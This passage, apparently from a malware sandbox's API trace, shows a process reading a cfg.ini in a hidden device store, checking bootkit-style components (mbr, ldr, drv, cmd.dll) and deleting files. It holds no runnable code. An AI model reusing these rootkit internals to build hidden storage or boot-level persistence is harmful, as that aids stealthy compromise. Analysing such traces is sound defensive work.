_Dest="0d24eb7c\\cfg.ini") returned 16 [0129.585] KeEnterCriticalRegion () [0129.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.586] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c18000 [0129.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.586] IdePortDispatch () returned 0x103 [0129.586] KeWaitForMutexObject () returned 0x0 [0129.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.586] IdePortDispatch () returned 0x103 [0129.586] KeWaitForMutexObject () returned 0x0 [0129.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.586] KeLeaveCriticalRegion () [0129.586] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.587] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.587] KeEnterCriticalRegion () [0129.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] KeLeaveCriticalRegion () [0129.587] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.587] KeEnterCriticalRegion () [0129.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.587] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] KeLeaveCriticalRegion () [0129.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.587] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.587] KeEnterCriticalRegion () [0129.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] ExFreePoolWithTag (P=0xfffffa8003c05ac0, Tag=0x0) [0129.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] KeLeaveCriticalRegion () [0129.587] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.587] ReleaseMutex (hMutex=0xf0) returned 1 [0129.587] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.587] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.587] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.587] KeEnterCriticalRegion () [0129.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.587] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.587] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.587] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.588] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.588] IdePortDispatch () returned 0x103 [0129.588] KeWaitForMutexObject () returned 0x0 [0129.588] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.588] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.588] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.588] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.588] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.588] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06db0 [0129.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.588] KeLeaveCriticalRegion () [0129.588] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.588] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.588] KeEnterCriticalRegion () [0129.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.588] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.588] KeLeaveCriticalRegion () [0129.588] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.588] KeEnterCriticalRegion () [0129.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.588] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.588] IdePortDispatch () returned 0x103 [0129.588] KeWaitForMutexObject () returned 0x0 [0129.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.589] KeLeaveCriticalRegion () [0129.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.589] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.589] KeEnterCriticalRegion () [0129.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.589] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c19000 [0129.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.589] IdePortDispatch () returned 0x103 [0129.589] KeWaitForMutexObject () returned 0x0 [0129.589] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.589] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.589] IdePortDispatch () returned 0x103 [0129.589] KeWaitForMutexObject () returned 0x0 [0129.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.589] KeLeaveCriticalRegion () [0129.589] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.590] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.590] KeEnterCriticalRegion () [0129.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.590] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.590] KeLeaveCriticalRegion () [0129.590] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.590] KeEnterCriticalRegion () [0129.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.590] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.590] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c06e70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.590] KeLeaveCriticalRegion () [0129.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.590] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.590] KeEnterCriticalRegion () [0129.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.590] ExFreePoolWithTag (P=0xfffffa8003c06db0, Tag=0x0) [0129.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.590] KeLeaveCriticalRegion () [0129.590] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.591] ReleaseMutex (hMutex=0xf0) returned 1 [0129.591] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.591] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.591] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.591] KeEnterCriticalRegion () [0129.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.591] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.591] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.591] IdePortDispatch () returned 0x103 [0129.591] KeWaitForMutexObject () returned 0x0 [0129.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.591] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.591] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.591] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.591] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.591] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.591] KeLeaveCriticalRegion () [0129.591] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.591] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.591] KeEnterCriticalRegion () [0129.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.591] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.591] KeLeaveCriticalRegion () [0129.591] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.591] KeEnterCriticalRegion () [0129.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.591] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.592] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.592] IdePortDispatch () returned 0x103 [0129.592] KeWaitForMutexObject () returned 0x0 [0129.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.592] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.592] KeLeaveCriticalRegion () [0129.592] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.592] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.592] KeEnterCriticalRegion () [0129.592] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c1a000 [0129.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.592] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.592] IdePortDispatch () returned 0x103 [0129.592] KeWaitForMutexObject () returned 0x0 [0129.592] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.592] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.592] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.592] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.592] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.592] IdePortDispatch () returned 0x103 [0129.593] KeWaitForMutexObject () returned 0x0 [0129.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.593] KeLeaveCriticalRegion () [0129.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.593] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.593] KeEnterCriticalRegion () [0129.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.593] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.593] KeLeaveCriticalRegion () [0129.593] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.593] KeEnterCriticalRegion () [0129.593] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.593] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.593] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c05f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.593] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.593] KeLeaveCriticalRegion () [0129.593] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.594] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.594] KeEnterCriticalRegion () [0129.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.594] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.594] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.594] KeLeaveCriticalRegion () [0129.594] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.594] ReleaseMutex (hMutex=0xf0) returned 1 [0129.594] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.594] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.594] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.594] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.594] KeEnterCriticalRegion () [0129.594] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.594] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.594] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.594] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.594] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.594] IdePortDispatch () returned 0x103 [0129.594] KeWaitForMutexObject () returned 0x0 [0129.594] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.594] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.594] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.594] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.594] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.594] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.594] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.594] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.594] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.594] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.594] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.595] KeLeaveCriticalRegion () [0129.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.595] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.595] KeEnterCriticalRegion () [0129.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.595] IdePortDispatch () returned 0x103 [0129.595] KeWaitForMutexObject () returned 0x0 [0129.595] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.595] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.595] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.595] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.595] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.595] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.595] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.595] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.595] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.595] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.595] KeLeaveCriticalRegion () [0129.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.595] ReleaseMutex (hMutex=0x100) returned 1 [0129.595] Sleep (dwMilliseconds=0x2bf20) [0129.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70723750, dwHighDateTime=0x1d24fa4)) [0129.603] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.603] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.603] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.603] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.603] KeEnterCriticalRegion () [0129.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 